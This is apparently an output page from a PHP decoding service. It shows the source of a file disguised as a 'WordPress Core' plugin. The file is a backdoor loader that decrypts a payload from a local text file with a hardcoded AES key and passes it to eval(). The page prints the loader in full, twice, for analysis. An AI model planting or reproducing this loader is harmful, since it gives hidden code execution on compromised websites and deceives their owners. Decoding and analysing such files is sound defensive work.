Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * @package Wordpress_Core * @version 1.7.3 */ /* Plugin Name: WordPress..
Decoded Output download
<?php
/**
* @package Wordpress_Core
* @version 1.7.3
*/
/*
Plugin Name: WordPress Core
Plugin URI: https://wordpress.org/plugins/
Description: This is core plugin for managment WordPress.
Version: 1.7.3
Author URI: https://wordpress.org/
*/
class UnsafeCrypto
{
const METHOD = 'aes-256-ctr';
public static function decrypt($message, $nonce, $key, $encoded = false)
{
if ($encoded) {
$message = base64_decode($message, true);
$nonce = base64_decode($nonce, true);
if ($message === false || $nonce === false) {
throw new Exception('Encryption failure');
}
}
$plaintext = openssl_decrypt(
$message,
self::METHOD,
$key,
OPENSSL_RAW_DATA,
$nonce
);
return $plaintext;
}
}
$key = hex2bin('1611ce380d12c11d83cad24ff9212407808874b468815096bfb57d144926f5f3');
$parts = file('./nuwzzbktzd.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$decrypted = UnsafeCrypto::decrypt($parts[1], $parts[0], $key, true);
eval($decrypted);
?>
Did this file decode correctly?
Original Code
<?php
/**
* @package Wordpress_Core
* @version 1.7.3
*/
/*
Plugin Name: WordPress Core
Plugin URI: https://wordpress.org/plugins/
Description: This is core plugin for managment WordPress.
Version: 1.7.3
Author URI: https://wordpress.org/
*/
class UnsafeCrypto
{
const METHOD = 'aes-256-ctr';
public static function decrypt($message, $nonce, $key, $encoded = false)
{
if ($encoded) {
$message = base64_decode($message, true);
$nonce = base64_decode($nonce, true);
if ($message === false || $nonce === false) {
throw new Exception('Encryption failure');
}
}
$plaintext = openssl_decrypt(
$message,
self::METHOD,
$key,
OPENSSL_RAW_DATA,
$nonce
);
return $plaintext;
}
}
$key = hex2bin('1611ce380d12c11d83cad24ff9212407808874b468815096bfb57d144926f5f3');
$parts = file('./nuwzzbktzd.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$decrypted = UnsafeCrypto::decrypt($parts[1], $parts[0], $key, true);
eval($decrypted);
?>
Function Calls
None |
Stats
MD5 | a91e1894be1aa6743a27b5ef742247eb |
Eval Count | 0 |
Decode Time | 62 ms |